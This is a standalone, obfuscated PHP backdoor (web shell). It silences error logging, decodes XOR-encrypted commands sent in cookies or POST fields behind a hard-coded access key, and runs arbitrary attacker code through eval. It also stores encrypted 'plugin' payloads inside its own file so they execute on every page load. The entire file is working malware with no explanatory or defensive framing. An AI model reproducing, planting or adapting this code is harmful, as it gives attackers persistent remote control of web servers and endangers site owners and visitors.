@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('file_put_contents '))
{
define('file_put_contents ', 1);
$tzapquer = 'bbc33289-49f5-4539-8cad-ada588f61d4c';
global $tzapquer;
function vvayyfn($qyluuqh) {
if (strlen($qyluuqh) < 4)
{
return "";
}
$afsbye = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$ehvobw = str_split($afsbye);
$ehvobw = array_flip($ehvobw);
$bwugpg = 0;
$veqpdjf = "";
$qyluuqh = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $qyluuqh);
do {
$grdhyxeq = $ehvobw[$qyluuqh[$bwugpg++]];
$yxcfaxai = $ehvobw[$qyluuqh[$bwugpg++]];
$rxvzzxqe = $ehvobw[$qyluuqh[$bwugpg++]];
$gpnogtvq = $ehvobw[$qyluuqh[$bwugpg++]];
$tmclyvhb = ($grdhyxeq << 2) | ($yxcfaxai >> 4);
$bwugpgnnuidzt = (($yxcfaxai & 15) << 4) | ($rxvzzxqe >> 2);
$mrsfhks = (($rxvzzxqe & 3) << 6) | $gpnogtvq;
$veqpdjf = $veqpdjf . chr($tmclyvhb);
if ($rxvzzxqe != 64) {
$veqpdjf = $veqpdjf . chr($bwugpgnnuidzt);
}
if ($gpnogtvq != 64) {
$veqpdjf = $veqpdjf . chr($mrsfhks);
}
} while ($bwugpg < strlen($qyluuqh));
return $veqpdjf;
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($dizsyq, $rdtljrr, $wmrqxuxf = False)
{
$qxaizj = $wmrqxuxf == 8 ? 'a' : 'w';
$rqvpdgp = @fopen($dizsyq, $qxaizj);
if ($rqvpdgp === False)
{
return 0;
}
else
{
if (is_array($rdtljrr)) $rdtljrr = implode($rdtljrr);
$rdtljrrhuoqdva = fwrite($rqvpdgp, $rdtljrr);
fclose($rqvpdgp);
return $rdtljrrhuoqdva;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($vroramco)
{
$axfzsh = fopen($vroramco, "r");
$rqvpdgpbjjuwe = fread($axfzsh, filesize($vroramco));
fclose($axfzsh);
return $rqvpdgpbjjuwe;
}
}
function brvbejmy()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function plxzfkm($bnyqxla, $wsyemyu)
{
$zhlvyu = "";
for ($bwugpg=0; $bwugpg<strlen($bnyqxla);)
{
for ($jipuxx=0; $jipuxx<strlen($wsyemyu) && $bwugpg<strlen($bnyqxla); $jipuxx++, $bwugpg++)
{
$zhlvyu .= chr(ord($bnyqxla[$bwugpg]) ^ ord($wsyemyu[$jipuxx]));
}
}
return $zhlvyu;
}
function rmayjiv($bnyqxla, $wsyemyu)
{
global $tzapquer;
return plxzfkm(plxzfkm($bnyqxla, $wsyemyu), $tzapquer);
}
function pqpbevkp($bnyqxla, $wsyemyu)
{
global $tzapquer;
return plxzfkm(plxzfkm($bnyqxla, $tzapquer), $wsyemyu);
}
function jujyue()
{
$mpwoeawa = @file_get_contents(brvbejmy());
$wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
if ($wkdnzkc !== FALSE)
{
$qvkuitcz = substr($mpwoeawa, $wkdnzkc + 32);
$vezdbiku = @unserialize(rmayjiv(rawurldecode($qvkuitcz), md5(brvbejmy())));
}
else
{
$vezdbiku = Array();
}
return $vezdbiku;
}
function fahjzwha($vezdbiku)
{
$rqvpdgptykas = rawurlencode(pqpbevkp(@serialize($vezdbiku), md5(brvbejmy())));
$mpwoeawa = @file_get_contents(brvbejmy());
$wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
if ($wkdnzkc !== FALSE)
{
$rdtljrrzywfh = substr($mpwoeawa, $wkdnzkc + 32);
$mpwoeawa = str_replace($rdtljrrzywfh, $rqvpdgptykas, $mpwoeawa);
}
else
{
$mpwoeawa = $mpwoeawa . "\n\n//" . md5(brvbejmy()) . $rqvpdgptykas;
}
@file_put_contents(brvbejmy(), $mpwoeawa);
}
function gtfmsg($zlgbvph, $wekzob)
{
$vezdbiku = jujyue();
$vezdbiku[$zlgbvph] = vvayyfn($wekzob);
fahjzwha($vezdbiku);
}
function ueawnwdg($zlgbvph)
{
$vezdbiku = jujyue();
unset($vezdbiku[$zlgbvph]);
fahjzwha($vezdbiku);
}
function mfvqgidg($zlgbvph=NULL)
{
foreach (jujyue() as $kcrhbx=>$muhvkbd)
{
if ($zlgbvph)
{
if (strcmp($zlgbvph, $kcrhbx) == 0)
{
eval($muhvkbd);
break;
}
}
else
{
eval($muhvkbd);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $sdzrvvmw => $bnyqxla)
{
$bnyqxla = @unserialize(rmayjiv(vvayyfn($bnyqxla), $sdzrvvmw));
if (isset($bnyqxla['ak']) && $tzapquer==$bnyqxla['ak'])
{
if ($bnyqxla['a'] == 'i')
{
$bwugpg = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $bnyqxla['ak'],
);
echo @serialize($bwugpg);
exit;
}
elseif ($bnyqxla['a'] == 'e')
{
eval($bnyqxla['d']);
}
elseif ($bnyqxla['a'] == 'plugin')
{
if($bnyqxla['sa'] == 'add')
{
gtfmsg($bnyqxla['p'], $bnyqxla['d']);
}
elseif($bnyqxla['sa'] == 'rem')
{
ueawnwdg($bnyqxla['p']);
}
}
echo $bnyqxla['ak'];
exit();
}
}
mfvqgidg();
}